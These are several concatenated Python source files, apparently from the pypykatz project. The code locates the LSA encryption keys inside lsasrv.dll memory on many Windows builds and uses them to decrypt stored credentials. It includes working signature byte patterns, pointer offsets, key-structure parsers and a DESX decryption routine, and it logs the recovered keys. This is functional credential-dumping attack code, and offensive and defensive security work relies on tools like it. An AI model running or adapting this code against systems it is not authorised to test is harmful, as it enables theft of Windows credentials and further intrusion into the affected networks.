75 random_key_ptr = self.reader.get_ptr_with_offset(sigpos + self.decryptor_template.randomkey_ptr_offset)
76 random_key_ptr = self.reader.get_ptr_with_offset(random_key_ptr)
77 self.reader.move(random_key_ptr)
78 else:
79 self.reader.move(sigpos + self.decryptor_template.randomkey_ptr_offset)
80 offset = LONG(self.reader).value
81 newpos = sigpos + self.decryptor_template.desx_key_ptr_offset + 4 + offset
82 self.reader.move(newpos)
83
84 return self.reader.read(256)
85
86 def find_signature(self):
87 self.log('Looking for main struct signature in memory...')
88 fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature)
89 if len(fl) == 0:
90 logging.debug('signature not found! %s' % self.decryptor_template.signature.hex())
91 raise Exception('LSA signature not found!')
92
93 self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl))
94 self.log('Selecting first one @ 0x%08x' % fl[0])
95 return fl[0]
96
97 def decrypt(self, encrypted):
98 # TODO: NT version specific, move from here in subclasses.
99 cleartext = b''
100 size = len(encrypted)
101 if size:
102 if (size % 8) != 0:
103 ctx = RC4(self.random_key)
104 cleartext = ctx.decrypt(encrypted)
105 else:
106 #print('Decryption not implemented!')
107 cleartext = self.__desx_decrypt(encrypted)
108 #raise Exception('Not implemented!')
109
110 return cleartext
111
112 def dump(self):
113 self.log('Recovered LSA encryption keys\n')
114 self.log('Feedback ({}): {}'.format(len(self.feedback), self.feedback.hex()))
115 self.log('Random Key ({}): {}'.format(len(self.random_key), self.random_key.hex()))
116 self.log('DESX inputwhitening Key ({}): {}'.format(len(self.des_key.inputWhitening), self.des_key.inputWhitening.hex()))
117 self.log('DESX outputwhitening Key ({}): {}'.format(len(self.des_key.outputWhitening), self.des_key.outputWhitening.hex()))
118 #self.log('DESX DES Expanded Key ({}): {}' % (self.des_key.desKey.roundKey))
119
120 def __desx_decrypt_internal_block(self, chunk):
121 chunk = xor(chunk, self.des_key.outputWhitening)
122 chunk = self.__desx_internal_block(chunk, encrypt = False)
123 chunk = xor(chunk, self.des_key.inputWhitening)
124 return chunk
125
126 def __desx_decrypt(self, data):
127 res = b''
128 i = 0
129
130 IV = self.feedback
131 while i != len(data):
132 chunk = self.__desx_decrypt_internal_block(data[i:i+8])
133 res += xor(chunk, IV)
134 IV = data[i:i+8]
135 i += 8
136
137 return res
138
139 def __desx_internal_block(self, data, encrypt = False):
140 L = int.from_bytes(data[4:], 'little', signed = False)
141 R = int.from_bytes(data[:4], 'little', signed = False)
142
143 #t = 'ORIGINAL L: %s R: %s' % (L,R)
144 #input(t)
145
146 #print(hex(R))
147 R = rol32(R, 4)
148 #input(hex(R))
149 Ta = (L ^ R) & 0xf0f0f0f0
150 #input('Ta ' + hex(Ta))
151 L = L ^ Ta
152 R = R ^ Ta
153 L = rol32(L, 20)
154 Ta = (L ^ R) & 0xfff0000f
155 #input('Ta ' + hex(Ta))
156 L = L ^ Ta
157 R = R ^ Ta
158 L = rol32(L, 14)
159 Ta = (L ^ R) & 0x33333333
160 #input('Ta ' + hex(Ta))
161 L = L ^ Ta
162 R = R ^ Ta
163 R = rol32(R, 22)
164 Ta = (L ^ R) & 0x03fc03fc
165 #input('Ta ' + hex(Ta))
166 L = L ^ Ta
167 R = R ^ Ta
168 R = rol32(R, 9)
169 Ta = (L ^ R) & 0xaaaaaaaa
170 #input('Ta ' + hex(Ta))
171 L = L ^ Ta
172 R = R ^ Ta
173 L = rol32(L, 1)
174
175 #t = 'BEFORE F! L: %s R: %s' % (L,R)
176 #input(t)
177
178 if encrypt:
179 for i in range(0,14, 2):
180 L, R = F(L, R, self.des_key.desKey.roundKey[i])
181 R, L = F(R, L, self.des_key.desKey.roundKey[i +1])
182
183 else:
184 for i in range(14, -2, -2):
185 #print(i)
186 L, R = F(L, R, self.des_key.desKey.roundKey[i + 1])
187 #t = 'F(%s) L: %s R: %s' % (i, L,R)
188 #input(t)
189 R, L = F(R, L, self.des_key.desKey.roundKey[i])
190 #t = 'F(%s) L: %s R: %s' % (i, L,R)
191 #input(t)
192
193 #t = 'AFTER F! L: %s R: %s' % (L,R)
194 #input(t)
195
196 R = ror32(R, 1)
197 Ta = (L ^ R) & 0xaaaaaaaa
198 L = L ^ Ta
199 R = R ^ Ta
200 L = ror32(L, 9)
201 Ta = (L ^ R) & 0x03fc03fc
202 L ^= Ta
203 R ^= Ta
204 L = ror32(L, 22)
205 Ta = (L ^ R) & 0x33333333
206 L ^= Ta
207 R ^= Ta
208 R = ror32(R, 14)
209 Ta = (L ^ R) & 0xfff0000f
210 L ^= Ta
211 R ^= Ta
212 R = ror32(R, 20)
213 Ta = (L ^ R) & 0xf0f0f0f0
214 L ^= Ta
215 R ^= Ta
216 L = ror32(L, 4)
217
218 return L.to_bytes(4, 'little', signed = False) + R.to_bytes(4, 'little', signed = False)
219
220
221 SymCryptDesSpbox = [
222 [
223 0x02080800, 0x00080000, 0x02000002, 0x02080802, 0x02000000, 0x00080802, 0x00080002, 0x02000002, 0x00080802, 0x02080800, 0x02080000, 0x00000802, 0x02000802, 0x02000000, 0x00000000, 0x00080002,
224 0x00080000, 0x00000002, 0x02000800, 0x00080800, 0x02080802, 0x02080000, 0x00000802, 0x02000800, 0x00000002, 0x00000800, 0x00080800, 0x02080002, 0x00000800, 0x02000802, 0x02080002, 0x00000000,
225 0x00000000, 0x02080802, 0x02000800, 0x00080002, 0x02080800, 0x00080000, 0x00000802, 0x02000800, 0x02080002, 0x00000800, 0x00080800, 0x02000002, 0x00080802, 0x00000002, 0x02000002, 0x02080000,
226 0x02080802, 0x00080800, 0x02080000, 0x02000802, 0x02000000, 0x00000802, 0x00080002, 0x00000000, 0x00080000, 0x02000000, 0x02000802, 0x02080800, 0x00000002, 0x02080002, 0x00000800, 0x00080802,
227 ],
228 [
229 0x40108010, 0x00000000, 0x00108000, 0x40100000, 0x40000010, 0x00008010, 0x40008000, 0x00108000, 0x00008000, 0x40100010, 0x00000010, 0x40008000, 0x00100010, 0x40108000, 0x40100000, 0x00000010,
230 0x00100000, 0x40008010, 0x40100010, 0x00008000, 0x00108010, 0x40000000, 0x00000000, 0x00100010, 0x40008010, 0x00108010, 0x40108000, 0x40000010, 0x40000000, 0x00100000, 0x00008010, 0x40108010,
231 0x00100010, 0x40108000, 0x40008000, 0x00108010, 0x40108010, 0x00100010, 0x40000010, 0x00000000, 0x40000000, 0x00008010, 0x00100000, 0x40100010, 0x00008000, 0x40000000, 0x00108010, 0x40008010,
232 0x40108000, 0x00008000, 0x00000000, 0x40000010, 0x00000010, 0x40108010, 0x00108000, 0x40100000, 0x40100010, 0x00100000, 0x00008010, 0x40008000, 0x40008010, 0x00000010, 0x40100000, 0x00108000,
233 ],
234 [
235 0x04000001, 0x04040100, 0x00000100, 0x04000101, 0x00040001, 0x04000000, 0x04000101, 0x00040100, 0x04000100, 0x00040000, 0x04040000, 0x00000001, 0x04040101, 0x00000101, 0x00000001, 0x04040001,
236 0x00000000, 0x00040001, 0x04040100, 0x00000100, 0x00000101, 0x04040101, 0x00040000, 0x04000001, 0x04040001, 0x04000100, 0x00040101, 0x04040000, 0x00040100, 0x00000000, 0x04000000, 0x00040101,
237 0x04040100, 0x00000100, 0x00000001, 0x00040000, 0x00000101, 0x00040001, 0x04040000, 0x04000101, 0x00000000, 0x04040100, 0x00040100, 0x04040001, 0x00040001, 0x04000000, 0x04040101, 0x00000001,
238 0x00040101, 0x04000001, 0x04000000, 0x04040101, 0x00040000, 0x04000100, 0x04000101, 0x00040100, 0x04000100, 0x00000000, 0x04040001, 0x00000101, 0x04000001, 0x00040101, 0x00000100, 0x04040000,
239 ],
240 [
241 0x00401008, 0x10001000, 0x00000008, 0x10401008, 0x00000000, 0x10400000, 0x10001008, 0x00400008, 0x10401000, 0x10000008, 0x10000000, 0x00001008, 0x10000008, 0x00401008, 0x00400000, 0x10000000,
242 0x10400008, 0x00401000, 0x00001000, 0x00000008, 0x00401000, 0x10001008, 0x10400000, 0x00001000, 0x00001008, 0x00000000, 0x00400008, 0x10401000, 0x10001000, 0x10400008, 0x10401008, 0x00400000,
243 0x10400008, 0x00001008, 0x00400000, 0x10000008, 0x00401000, 0x10001000, 0x00000008, 0x10400000, 0x10001008, 0x00000000, 0x00001000, 0x00400008, 0x00000000, 0x10400008, 0x10401000, 0x00001000,
244 0x10000000, 0x10401008, 0x00401008, 0x00400000, 0x10401008, 0x00000008, 0x10001000, 0x00401008, 0x00400008, 0x00401000, 0x10400000, 0x10001008, 0x00001008, 0x10000000, 0x10000008, 0x10401000,
245 ],
246 [
247 0x08000000, 0x00010000, 0x00000400, 0x08010420, 0x08010020, 0x08000400, 0x00010420, 0x08010000, 0x00010000, 0x00000020, 0x08000020, 0x00010400, 0x08000420, 0x08010020, 0x08010400, 0x00000000,
248 0x00010400, 0x08000000, 0x00010020, 0x00000420, 0x08000400, 0x00010420, 0x00000000, 0x08000020, 0x00000020, 0x08000420, 0x08010420, 0x00010020, 0x08010000, 0x00000400, 0x00000420, 0x08010400,
249 0x08010400, 0x08000420, 0x00010020, 0x08010000, 0x00010000, 0x00000020, 0x08000020, 0x08000400, 0x08000000, 0x00010400, 0x08010420, 0x00000000, 0x00010420, 0x08000000, 0x00000400, 0x00010020,
250 0x08000420, 0x00000400, 0x00000000, 0x08010420, 0x08010020, 0x08010400, 0x00000420, 0x00010000, 0x00010400, 0x08010020, 0x08000400, 0x00000420, 0x00000020, 0x00010420, 0x08010000, 0x08000020,
251 ],
252 [
253 0x80000040, 0x00200040, 0x00000000, 0x80202000, 0x00200040, 0x00002000, 0x80002040, 0x00200000, 0x00002040, 0x80202040, 0x00202000, 0x80000000, 0x80002000, 0x80000040, 0x80200000, 0x00202040,
254 0x00200000, 0x80002040, 0x80200040, 0x00000000, 0x00002000, 0x00000040, 0x80202000, 0x80200040, 0x80202040, 0x80200000, 0x80000000, 0x00002040, 0x00000040, 0x00202000, 0x00202040, 0x80002000,
255 0x00002040, 0x80000000, 0x80002000, 0x00202040, 0x80202000, 0x00200040, 0x00000000, 0x80002000, 0x80000000, 0x00002000, 0x80200040, 0x00200000, 0x00200040, 0x80202040, 0x00202000, 0x00000040,
256 0x80202040, 0x00202000, 0x00200000, 0x80002040, 0x80000040, 0x80200000, 0x00202040, 0x00000000, 0x00002000, 0x80000040, 0x80002040, 0x80202000, 0x80200000, 0x00002040, 0x00000040, 0x80200040,
257 ],
258 [
259 0x00004000, 0x00000200, 0x01000200, 0x01000004, 0x01004204, 0x00004004, 0x00004200, 0x00000000, 0x01000000, 0x01000204, 0x00000204, 0x01004000, 0x00000004, 0x01004200, 0x01004000, 0x00000204,
260 0x01000204, 0x00004000, 0x00004004, 0x01004204, 0x00000000, 0x01000200, 0x01000004, 0x00004200, 0x01004004, 0x00004204, 0x01004200, 0x00000004, 0x00004204, 0x01004004, 0x00000200, 0x01000000,
261 0x00004204, 0x01004000, 0x01004004, 0x00000204, 0x00004000, 0x00000200, 0x01000000, 0x01004004, 0x01000204, 0x00004204, 0x00004200, 0x00000000, 0x00000200, 0x01000004, 0x00000004, 0x01000200,
262 0x00000000, 0x01000204, 0x01000200, 0x00004200, 0x00000204, 0x00004000, 0x01004204, 0x01000000, 0x01004200, 0x00000004, 0x00004004, 0x01004204, 0x01000004, 0x01004200, 0x01004000, 0x00004004,
263 ],
264 [
265 0x20800080, 0x20820000, 0x00020080, 0x00000000, 0x20020000, 0x00800080, 0x20800000, 0x20820080, 0x00000080, 0x20000000, 0x00820000, 0x00020080, 0x00820080, 0x20020080, 0x20000080, 0x20800000,
266 0x00020000, 0x00820080, 0x00800080, 0x20020000, 0x20820080, 0x20000080, 0x00000000, 0x00820000, 0x20000000, 0x00800000, 0x20020080, 0x20800080, 0x00800000, 0x00020000, 0x20820000, 0x00000080,
267 0x00800000, 0x00020000, 0x20000080, 0x20820080, 0x00020080, 0x20000000, 0x00000000, 0x00820000, 0x20800080, 0x20020080, 0x20020000, 0x00800080, 0x20820000, 0x00000080, 0x00800080, 0x20020000,
268 0x20820080, 0x00800000, 0x20800000, 0x20000080, 0x00820000, 0x00020080, 0x20020080, 0x20800000, 0x00000080, 0x20820000, 0x00820080, 0x00000000, 0x20000000, 0x20800080, 0x00020000, 0x00820080,
269 ],
270 ]
271
272 def F(L, R, keya):
273 Ta = keya[0] ^ R
274 Tb = keya[1] ^ R
275 Tb = ror32(Tb, 4)
276 L ^= SymCryptDesSpbox[0][ (Ta & 0xfc) // 4]
277 L ^= SymCryptDesSpbox[1][ (Tb & 0xfc) // 4]
278 L ^= SymCryptDesSpbox[2][((Ta>> 8)& 0xfc)//4]
279 L ^= SymCryptDesSpbox[3][((Tb>> 8)& 0xfc)//4]
280 L ^= SymCryptDesSpbox[4][((Ta>>16)& 0xfc)//4]
281 L ^= SymCryptDesSpbox[5][((Tb>>16)& 0xfc)//4]
282 L ^= SymCryptDesSpbox[6][((Ta>>24)& 0xfc)//4]
283 L ^= SymCryptDesSpbox[7][((Tb>>24)& 0xfc)//4]
284 return L, R
285
286
287 def rol32(n, d):
288 return ((n << d)|(n >> (32 - d))) & 0xFFFFFFFF
289
290 def ror32(n, d):
291 return ((n >> d)|(n << (32 - d))) & 0xFFFFFFFF
292
293 def xor(d1, d2):
294 return bytes(a ^ b for (a, b) in zip(d1, d2))
295
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6
7 from pypykatz import logger
8 from pypykatz.commons.common import hexdump
9 from pypykatz.crypto.des import triple_des, CBC
10 from pypykatz.crypto.aes import AESModeOfOperationCFB
11 from pypykatz.alsadecryptor.package_commons import PackageDecryptor
12
13 class LsaDecryptor_NT6(PackageDecryptor):
14 def __init__(self, reader, decryptor_template, sysinfo):
15 super().__init__('LsaDecryptor', None, sysinfo, reader)
16 self.decryptor_template = decryptor_template
17 self.iv = None
18 self.aes_key = None
19 self.des_key = None
20
21 async def acquire_crypto_material(self):
22 self.log('Acquireing crypto stuff...')
23 sigpos = await self.find_signature()
24 await self.reader.move(sigpos)
25 data = await self.reader.peek(0x50)
26 self.log('Memory looks like this around the signature\n%s' % hexdump(data, start = sigpos))
27 self.iv = await self.get_IV(sigpos)
28 self.des_key = await self.get_des_key(sigpos)
29 self.aes_key = await self.get_aes_key(sigpos)
30
31 async def get_des_key(self, pos):
32 self.log('Acquireing DES key...')
33 return await self.get_key(pos, self.decryptor_template.key_pattern.offset_to_DES_key_ptr)
34
35 async def get_aes_key(self, pos):
36 self.log('Acquireing AES key...')
37 return await self.get_key(pos, self.decryptor_template.key_pattern.offset_to_AES_key_ptr)
38
39 async def find_signature(self):
40 self.log('Looking for main struct signature in memory...')
41 fl = await self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature, find_first = True)
42 if len(fl) == 0:
43 logger.debug('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex())
44 raise Exception('LSA signature not found!')
45
46 self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl))
47 self.log('Selecting first one @ 0x%08x' % fl[0])
48 return fl[0]
49
50 async def get_IV(self, pos):
51 self.log('Reading IV')
52 #print('Offset to IV: %s' % hex(self.decryptor_template.key_pattern.offset_to_IV_ptr))
53 ptr_iv = await self.reader.get_ptr_with_offset(pos + self.decryptor_template.key_pattern.offset_to_IV_ptr)
54 self.log('IV pointer takes us to 0x%08x' % ptr_iv)
55 await self.reader.move(ptr_iv)
56 data = await self.reader.read(self.decryptor_template.key_pattern.IV_length)
57 self.log('IV data: %s' % hexdump(data))
58 return data
59
60 async def get_key(self, pos, key_offset):
61 ptr_key = await self.reader.get_ptr_with_offset(pos + key_offset)
62 self.log('key handle pointer is @ 0x%08x' % ptr_key)
63 ptr_key = await self.reader.get_ptr(ptr_key)
64 self.log('key handle is @ 0x%08x' % ptr_key)
65 await self.reader.move(ptr_key)
66 data = await self.reader.peek(0x50)
67 self.log('BCRYPT_HANLE_KEY_DATA\n%s' % hexdump(data, start = ptr_key))
68 kbhk = await self.decryptor_template.key_handle_struct.load(self.reader)
69 if kbhk.verify():
70 ptr_key = kbhk.ptr_key.value
71 await self.reader.move(ptr_key)
72 data = await self.reader.peek(0x50)
73 self.log('BCRYPT_KEY_DATA\n%s' % hexdump(data, start = ptr_key))
74 kbk = await kbhk.ptr_key.read(self.reader, self.decryptor_template.key_struct)
75 self.log('HARD_KEY SIZE: 0x%x' % kbk.size)
76 if kbk.verify():
77 self.log('HARD_KEY data:\n%s' % hexdump(kbk.hardkey.data))
78 return kbk.hardkey.data
79
80 def decrypt(self, encrypted):
81 # TODO: NT version specific, move from here in subclasses.
82 cleartext = b''
83 size = len(encrypted)
84 if size:
85 if size % 8:
86 if not self.aes_key or not self.iv:
87 return cleartext
88 cipher = AESModeOfOperationCFB(self.aes_key, iv = self.iv)
89 cleartext = cipher.decrypt(encrypted)
90 else:
91 if not self.des_key or not self.iv:
92 return cleartext
93 cipher = triple_des(self.des_key, CBC, self.iv[:8])
94 cleartext = cipher.decrypt(encrypted)
95 return cleartext
96
97 def dump(self):
98 self.log('Recovered LSA encryption keys\n')
99 self.log('IV ({}): {}'.format(len(self.iv), self.iv.hex()))
100 self.log('DES_KEY ({}): {}'.format(len(self.des_key), self.des_key.hex()))
101 self.log('AES_KEY ({}): {}'.format(len(self.aes_key), self.aes_key.hex()))
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from pypykatz.alsadecryptor.win_datatypes import POINTER
7 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild
8 from pypykatz.alsadecryptor.package_commons import PackageTemplate
9
10 class LsaTemplate_NT5(PackageTemplate):
11 def __init__(self):
12 self.signature = None
13 self.feedback = None
14 self.randomkey_ptr = None
15 self.DESXKey_ptr = None
16 self.key_struct = None
17
18
19 @staticmethod
20 def get_template_brute(sysinfo):
21 raise Exception('Template guessing is not applicable for NT5')
22
23
24 @staticmethod
25 def get_template(sysinfo):
26 if sysinfo.architecture == KatzSystemArchitecture.X86:
27 if sysinfo.buildnumber <= WindowsMinBuild.WIN_VISTA.value:
28 return templates['nt5']['x86']['1']
29 else:
30 raise Exception('NT 6 is in another castle!')
31
32 elif sysinfo.architecture == KatzSystemArchitecture.X64:
33 if sysinfo.buildnumber <= WindowsMinBuild.WIN_VISTA.value:
34 return templates['nt5']['x64']['1']
35 else:
36 raise Exception('NT 6 is in another castle!')
37
38 class SYMCRYPT_NT5_DES_EXPANDED_KEY:
39 def __init__(self, reader):
40 self.roundKey = []
41 for _ in range(16):
42 r = int.from_bytes(reader.read(4), 'little', signed = False)
43 l = int.from_bytes(reader.read(4), 'little', signed = False)
44 self.roundKey.append([r, l])
45
46 def __str__(self):
47 t = 'SYMCRYPT_NT5_DES_EXPANDED_KEY\r\n'
48 for i, x in enumerate(self.roundKey):
49 t += '%s L: %s R: %s\r\n' % (i, hex(x[0]), hex(x[1]))
50 return t
51
52 class SYMCRYPT_NT5_DESX_EXPANDED_KEY:
53 def __init__(self, reader):
54 self.inputWhitening = reader.read(8)
55 self.outputWhitening = reader.read(8)
56 self.desKey = SYMCRYPT_NT5_DES_EXPANDED_KEY(reader)
57
58 def __str__(self):
59 t = 'SYMCRYPT_NT5_DESX_EXPANDED_KEY\r\n'
60 t += 'inputWhitening : %s\r\n' % (self.inputWhitening.hex())
61 t += 'outputWhitening : %s\r\n' % (self.outputWhitening.hex())
62 t += 'desKey : %s\r\n' % (str(self.desKey))
63 return t
64
65 class PSYMCRYPT_NT5_DESX_EXPANDED_KEY(POINTER):
66 def __init__(self, reader):
67 super().__init__(reader, SYMCRYPT_NT5_DESX_EXPANDED_KEY)
68
69 class LSA_x64_nt5_1(LsaTemplate_NT5):
70 def __init__(self):
71 LsaTemplate_NT5.__init__(self)
72 self.arch = 'x64'
73 self.signature = b'\x33\xdb\x8b\xc3\x48\x83\xc4\x20\x5b\xc3'
74 self.nt_major = '5'
75 self.feedback_ptr_offset = -67
76 self.randomkey_ptr_offset = -17
77 self.desx_key_ptr_offset = -35
78 self.old_feedback_offset = 29
79 self.key_struct_ptr = PSYMCRYPT_NT5_DESX_EXPANDED_KEY
80
81 class LSA_x86_nt5_1(LsaTemplate_NT5):
82 def __init__(self):
83 LsaTemplate_NT5.__init__(self)
84 self.arch = 'x86'
85 self.nt_major = '5'
86 self.signature = b'\x05\x90\x00\x00\x00\x6a\x18\x50\xa3'
87 self.feedback_ptr_offset = 25
88 self.randomkey_ptr_offset = 9
89 self.desx_key_ptr_offset = -4
90 self.old_feedback_offset = 29
91 self.key_struct_ptr = PSYMCRYPT_NT5_DESX_EXPANDED_KEY
92
93
94 templates = {
95 'nt5' : {
96 'x86': {
97 '1' : LSA_x86_nt5_1(),
98 },
99 'x64': {
100 '1' : LSA_x64_nt5_1(),
101 }
102 }
103 }
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6
7 from pypykatz.alsadecryptor.win_datatypes import ULONG, PVOID, POINTER
8 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild
9 from pypykatz.alsadecryptor.package_commons import PackageTemplate
10
11 class LsaTemplate_NT6(PackageTemplate):
12 def __init__(self):
13 super().__init__('LSA Decryptor')
14 self.key_pattern = None
15 self.key_handle_struct = None
16 self.key_struct = None
17 self.hard_key_struct = KIWI_HARD_KEY
18 self.nt_major = '6'
19
20
21 @staticmethod
22 def get_template_brute(sysinfo):
23 if sysinfo.architecture == KatzSystemArchitecture.X86:
24 if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value:
25 raise Exception('NT 5 is not yet supported!')
26 elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value:
27 raise Exception('NT 5 is not yet supported!')
28 else:
29 for key in templates['nt6']['x86']:
30 yield templates['nt6']['x86'][key]
31
32 elif sysinfo.architecture == KatzSystemArchitecture.X64:
33 if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value:
34 raise Exception('NT 5 is not yet supported!')
35 elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value:
36 raise Exception('NT 5 is not yet supported!')
37 else:
38 for key in templates['nt6']['x64']:
39 yield templates['nt6']['x64'][key]
40
41
42 @staticmethod
43 def get_template(sysinfo):
44 template = LsaTemplate_NT6()
45
46 if sysinfo.architecture == KatzSystemArchitecture.X86:
47 if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value:
48 raise Exception("Maybe implemented later")
49
50 elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value:
51 template.nt_major = '5'
52 template = templates['nt5']['x86']['1']
53
54 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
55 template = templates['nt6']['x86']['1']
56
57 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
58 template = templates['nt6']['x86']['2']
59
60 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
61 template = templates['nt6']['x86']['3']
62
63 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_10.value:
64 template = templates['nt6']['x86']['4']
65
66 elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber <= WindowsBuild.WIN_10_1507.value:
67 template = templates['nt6']['x86']['5']
68
69
70 elif sysinfo.buildnumber > WindowsBuild.WIN_10_1507.value:
71 template = templates['nt6']['x86']['6']
72
73 elif sysinfo.architecture == KatzSystemArchitecture.X64:
74
75 if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value:
76 raise Exception("Maybe implemented later")
77
78 elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value:
79 raise Exception("Maybe implemented later")
80
81 elif sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
82 template = templates['nt6']['x64']['1']
83
84 elif sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
85 template = templates['nt6']['x64']['2']
86
87 elif sysinfo.buildnumber < WindowsMinBuild.WIN_10.value:
88 if sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
89 template = templates['nt6']['x64']['3']
90 else:
91 template = templates['nt6']['x64']['4']
92
93 elif sysinfo.buildnumber < WindowsBuild.WIN_10_1809.value:
94 template = templates['nt6']['x64']['5']
95 else:
96 template = templates['nt6']['x64']['6']
97
98 else:
99 raise Exception('Missing LSA decrpytor template for Architecture: %s , Build number %s' % (sysinfo.architecture, sysinfo.buildnumber))
100
101
102 template.log_template('key_handle_struct', template.key_handle_struct)
103 template.log_template('key_struct', template.key_struct)
104 template.log_template('hard_key_struct', template.hard_key_struct)
105
106 return template
107
108
109 class LSADecyptorKeyPattern:
110 def __init__(self):
111 self.signature = None #byte pattern that identifies the location of the key structures (AES and DES)
112 self.offset_to_IV_ptr = None #offset from pattern that gives the pointer to the IV (applicabe for both keys, kept sepparately from key structures)
113 self.IV_length = None #length of the IV, always 16 from NT6
114 self.offset_to_AES_key_ptr = None #offset from signature that gives the pointer to the DES key structure
115 self.offset_to_DES_key_ptr = None #offset from signature that gives the pointer to the AES key structure
116
117 class KIWI_HARD_KEY:
118 def __init__(self):
119 self.cbSecret = None
120 self.data = None
121
122 @staticmethod
123 async def load(reader):
124 res = KIWI_BCRYPT_KEY()
125 res.cbSecret = await ULONG.loadvalue(reader)
126 res.data = await reader.read(res.cbSecret)
127 return res
128
129 class KIWI_BCRYPT_KEY:
130 def __init__(self):
131 self.size = None
132 self.tag = None
133 self.type = None
134 self.unk0 = None
135 self.unk1 = None
136 self.unk2 = None
137 self.hardkey = None
138
139 @staticmethod
140 async def load(reader):
141 res = KIWI_BCRYPT_KEY()
142 res.size = await ULONG.loadvalue(reader)
143 res.tag = await reader.read(4)
144 res.type = await ULONG.loadvalue(reader)
145 res.unk0 = await ULONG.loadvalue(reader)
146 res.unk1 = await ULONG.loadvalue(reader)
147 res.unk2 = await ULONG.loadvalue(reader)
148 res.hardkey = await KIWI_HARD_KEY.load(reader)
149 return res
150
151 def verify(self):
152 return self.tag == b'KSSM'
153
154 class KIWI_BCRYPT_KEY8:
155 def __init__(self):
156 self.size = None
157 self.tag = None
158 self.type = None
159 self.unk0 = None
160 self.unk1 = None
161 self.unk2 = None
162 self.unk3 = None
163 #await reader.align()
164 self.unk4 = None
165 self.hardkey = None
166
167 @staticmethod
168 async def load(reader):
169 res = KIWI_BCRYPT_KEY8()
170 res.size = await ULONG.loadvalue(reader)
171 res.tag = await reader.read(4) # 'MSSK'
172 res.type = await ULONG.loadvalue(reader)
173 res.unk0 = await ULONG.loadvalue(reader)
174 res.unk1 = await ULONG.loadvalue(reader)
175 res.unk2 = await ULONG.loadvalue(reader)
176 res.unk3 = await ULONG.loadvalue(reader)
177 await reader.align()
178 res.unk4 = await PVOID.load(reader) # before, align in x64
179 res.hardkey = await KIWI_HARD_KEY.load(reader)
180 return res
181
182 def verify(self):
183 return self.tag == b'KSSM'
184
185 class KIWI_BCRYPT_KEY81:
186 def __init__(self):
187 self.size = None
188 self.tag = None
189 self.type = None
190 self.unk0 = None
191 self.unk1 = None
192 self.unk2 = None
193 self.unk3 = None
194 self.unk4 = None
195 #await reader.align()
196 self.unk5 = None #before, align in x64
197 self.unk6 = None
198 self.unk7 = None
199 self.unk8 = None
200 self.unk9 = None
201 self.hardkey = None
202
203 @staticmethod
204 async def load(reader):
205 res = KIWI_BCRYPT_KEY81()
206 res.size = await ULONG.loadvalue(reader)
207 res.tag = await reader.read(4) # 'MSSK'
208 res.type = await ULONG.loadvalue(reader)
209 res.unk0 = await ULONG.loadvalue(reader)
210 res.unk1 = await ULONG.loadvalue(reader)
211 res.unk2 = await ULONG.loadvalue(reader)
212 res.unk3 = await ULONG.loadvalue(reader)
213 res.unk4 = await ULONG.loadvalue(reader)
214 await reader.align()
215 res.unk5 = await PVOID.load(reader) #before, align in x64
216 res.unk6 = await ULONG.loadvalue(reader)
217 res.unk7 = await ULONG.loadvalue(reader)
218 res.unk8 = await ULONG.loadvalue(reader)
219 res.unk9 = await ULONG.loadvalue(reader)
220 res.hardkey = await KIWI_HARD_KEY.load(reader)
221 return res
222
223 def verify(self):
224 return self.tag == b'KSSM'
225
226
227 class PKIWI_BCRYPT_KEY(POINTER):
228 def __init__(self):
229 super().__init__()
230
231 @staticmethod
232 async def load(reader):
233 p = PVOID()
234 p.location = reader.tell()
235 p.value = await reader.read_uint()
236 p.finaltype = KIWI_BCRYPT_KEY
237 return p
238
239 class KIWI_BCRYPT_HANDLE_KEY:
240 def __init__(self):
241 self.size = None
242 self.tag = None
243 self.hAlgorithm = None
244 self.ptr_key = None
245 self.unk0 = None
246
247 @staticmethod
248 async def load(reader):
249 res = KIWI_BCRYPT_HANDLE_KEY()
250 res.size = await ULONG.loadvalue(reader)
251 res.tag = await reader.read(4) # 'UUUR'
252 res.hAlgorithm = await PVOID.load(reader)
253 res.ptr_key = await PKIWI_BCRYPT_KEY.load(reader)
254 res.unk0 = await PVOID.load(reader)
255 return res
256
257 def verify(self):
258 return self.tag == b'RUUU'
259
260 class LSA_x64_1(LsaTemplate_NT6):
261 def __init__(self):
262 LsaTemplate_NT6.__init__(self)
263 self.key_pattern = LSADecyptorKeyPattern()
264 self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d'
265 self.key_pattern.IV_length = 16
266 self.key_pattern.offset_to_IV_ptr = 63
267 self.key_pattern.offset_to_DES_key_ptr = -69
268 self.key_pattern.offset_to_AES_key_ptr = 25
269
270 self.key_struct = KIWI_BCRYPT_KEY
271 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
272
273 class LSA_x64_2(LsaTemplate_NT6):
274 def __init__(self):
